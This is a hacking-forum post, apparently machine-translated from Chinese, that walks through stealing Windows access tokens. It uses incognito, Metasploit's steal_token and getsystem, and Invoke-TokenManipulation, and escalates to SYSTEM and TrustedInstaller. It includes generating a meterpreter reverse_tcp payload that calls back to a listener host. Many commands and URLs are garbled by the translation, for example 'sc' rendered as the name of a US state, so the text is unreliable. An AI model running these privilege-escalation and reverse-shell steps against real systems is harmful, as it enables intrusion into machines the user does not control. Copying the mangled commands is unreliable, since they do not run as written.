跳转到帖子
  • 游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

    赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

    TheHackerWorld官方

渗透技巧——令牌窃取和利用


Tenfk

推荐的帖子

0x00 前言

之前的文章《渗透技巧——程序的降权启动》介绍了使用SelectMyParent降低功耗的方法,本质上是通过令牌窃取来实现的。这一次,我们将进一步介绍令牌窃取和利用,测试常用工具,并分享利用技巧。

0x01 简介

本文将介绍以下内容:

Token简介

Metasploit中的匿名

Windows平台下的匿名

Invoke-TokenManipulation.ps1用法

使用令牌获取系统权限

使用token获取TrustedInstaller权限。

0x02 Token简介

Windows有两种类型的令牌:

委托令牌:用于交互式会话登录(例如,本地用户直接登录,远程桌面登录)。

模拟令牌:用于非交互式登录(使用net use访问共享文件夹)

注:

只有在系统重新启动后,两个令牌才会被清除。

具有委派令牌的用户注销后,该令牌将成为模拟令牌,仍然有效。

实际测试

使用Test\a登录,注销,然后使用管理员登录。

检查令牌:

incognito.exe列表_令牌-u

您可以获取已注销用户Test\a的令牌,如下图所示

2-1.png

用这个令牌执行calc.exe:

incognito.exe执行-c '测试\ a ' calc.exe

后台进程calc.exe的用户名是A,如下图所示。

2-2.png

0x03 Metasploit中的incognito

在Metasploit中,您可以使用匿名来窃取令牌。常见命令如下:

隐姓埋名:隐姓埋名

枚举令牌:list _ tokens-u

检查当前令牌:getuid

提示系统权限:getsystem

令牌窃取:impersonate _ token ' nt authority \ \ system '

从进程中窃取:steal_token 1252

返回token之前:revi2self或drop _ token

实际测试

客户:

msfpayload-p windows/meter preter/reverse _ TCP LHOST=192 . 168 . 81 . 142 LPORT=44444 X test.exe

服务器:

使用漏洞利用/多重/处理程序

设置有效负载窗口/meterpreter/reverse_tcp

设置LPORT 44444

设置LHOST 192.168.81.142

剥削

执行getsystem以获取系统权限。

pid 1252的权限是当前用户。执行steal_token 1252将权限切换到WIN-R7MM90ERBMD\a \ a。

如下图

2-3.png

执行impersonate _ token ' nt authority \ \ system '将权限切换到system。

注:

需要引号和双斜线,' NT AUTHORITY\\SYSTEM '

执行rev2self返回之前的令牌,是WIN-R7MM90ERBMD\a

如下图

2-4.png

通过以上演示,通过令牌窃取成功实现了权限切换。

0x04 Windows平台下的incognito

Metasploit中的Incognito是从windows平台下的incognito移植过来的。下面介绍一下windows平台下的隐姓埋名。

下载地址:

https://labs . mwrinfosecurity . com/assets/blog files/incognito 2 . zip

参考手册:

http://labs . mwrinfosecurity . com/assets/142/mwri _ security-implications-of-windows-access-tokens _ 2008-04-14 . pdf

常见用法如下:

枚举令牌:incognito.exe列表_令牌-u

复制令牌:incognito.exe执行[选项]

实际测试

枚举令牌:

incognito.exe列表_令牌-u

如下图

3-1.png

系统权利:

incognito.exe执行-c 'NT权限\系统' cmd.exe

如下图

3-2.png

当前用户的权限:

incognito.exe执行-c ' WIN-r7mm 90 erbmd \ a ' cmd.exe

伪造用户:

incognito.exe执行-c ' WIN-r7mm 90 erbmd \ b ' cmd.exe

如下图

3-3.png

0x05 Invoke-TokenManipulation.ps1用法

下载地址:

https://github . com/powershell mafia/PowerSploit/blob/master/exfiliation/Invoke-token manipulation . PS1

原理和作用类似于隐姓埋名,实际上是可以升降权的。

枚举令牌:invoke-令牌操作-枚举

对系统的权限:invoke-token manipulation-createprocess ' cmd . exe '-username ' nt authority \ system '

复制进程令牌:invoke-令牌操作-createprocess ' cmd . exe '-processid 500

复制线程令牌:invoke-令牌操作-createprocess ' cmd . exe '-threadid 500

更多用法请参考脚本描述

实物试验

0x06 利用token获得TrustedInstaller权限

在Windows系统中,即使您拥有管理员权限和系统权限,也不能修改系统文件。

因为Windows系统的最高权限是TrustedInstaller。

例如路径C:\Windows\servicing

您不能用系统权限在此路径创建文件。

如下图

4-1.png

查看文件夹属性,显示系统没有写权限,只有TrustedInstaller可以。

如下图

4-2.png

关于如何获得可信安装者权限,可参考詹姆斯福肖的这篇文章,很值得学习

泰拉尼斯莱尔街https://号。博格斯波特。nl/2017/08/最先进的可信安装程序。超文本标记语言

这里对其中的一个实例做测试,进而找到其他实现方法

启动可信安装者服务会启动进程TrustedInstaller.exe,位置为c:\ Windows \ servicing \ trusted installer。exe,查看该程序权限:

get-Acl-Path C:\ Windows \ servicing \ trusted installer。exe |选择所有者

显示为西北地区(Northwest Territories)服务\TrustedInstaller如下图

4-3.png

詹姆斯福肖的实现思路为借用TrustedInstaller.exe的代币创建子进程,这样子进程就有了可信安装者权限,具体powershell代码如下:

set-NtTokenPrivilege SeDebugPrivilege

$ p=Get-nt进程名TrustedInstaller.exe

$ proc=New-win32进程cmd . exe-创建标志新控制台-父进程$ p

powershell默认不支持Set-NtTokenPrivilege命令,该模块需要下载安装

下载地址:

https://www。powershell图库。com/packages/NtObjectManager/1。1 .一

安装命令:

保存模块名称NtObjectManager路径c:\test

安装模块名NtObjectManager

注:

保存模块需要powershell v5.0支持,详情见:

https://docs.microsoft.com/zh-cn/powershell/gallery/readme

因此测试系统选为Win10,默认powershell版本为5.0

导入该模块需要系统允许执行powershell脚本,因此先执行如下代码:

集合执行策略无限制

导入模块NtObjectManager:

导入模块NtObjectManager

执行命令测试:

sc.exe启动信任安装程序

set-NtTokenPrivilege SeDebugPrivilege

$ p=Get-nt进程名TrustedInstaller.exe

$ proc=New-win32进程cmd . exe-创建标志新控制台-父进程$ p

使用显示本用户信息查看当前煤矿管理局权限:

whoami/组/fo列表

发现当前cmd.exe在可信安装者组里,成功获得可信安装者权限

如下图

4-4.png

接着按照詹姆斯福肖文章中更新的内容,学习了Vincent Yiu@vysecurity的方法,使用metasploit下的隐姓埋名地也能够获得可信安装者权限

地址如下:

https://twitter.com/vysecurity/status/899303538630774787

思路如下:

启动服务可信安装者

使用隐姓埋名地获取TrustedInstaller.exe的代币

获得可信安装者权限

使用以下命令:

匿名装货

获取系统

著名图象处理软件

偷_令牌3204

getuid

按照这个思路,猜测使用选择我的父母和Invoke-TokenManipulation.ps1也能获得可信安装者权限

下面验证我们的判断

1、SelectMyParent

南卡罗来纳州启动可信安装程序

SelectMyParent.execmd.exe 1700

新的cmd.exe拥有可信安装者权限

2、Invoke-TokenManipulation.ps1

添加如下代码即可:

sc.exe启动信任安装程序

$ id=Get-Process-name可信安装程序* | Select-Object id | ForEach-Object-Process { $ _ .id}

invoke-token操作-CreateProcess ' cmd。' ProcessId $ id

注:

南卡罗来纳州这个命令不能直接在powershell里面运行,powershell会把它当作设置内容的别名,可使用sc.exe在powershell里面运行南卡罗来纳州命令

验证是否获得TrustedInstaller权限的方法

1、对特殊路径写文件

例如C:\Windows\servicing如下图

4-5.png

2、使用powershell

get-Acl-Path C:\ Windows \ servicing \ trusted installer。exe |选择所有者

回显为西北地区(Northwest Territories)服务\可信安装程序

3、使用whoami

whoami/groups | findstr可信安装程序

查看是否有回显

0x07 小结

本文介绍了代币窃取的实现方法,使用多种工具来获得系统权限和可信安装者权限。

留下回复

链接帖子
意见的链接
分享到其他网站

黑客攻防讨论组

黑客攻防讨论组

    You don't have permission to chat.
    • 最近浏览   0位会员

      • 没有会员查看此页面。
    ×
    ×
    • 创建新的...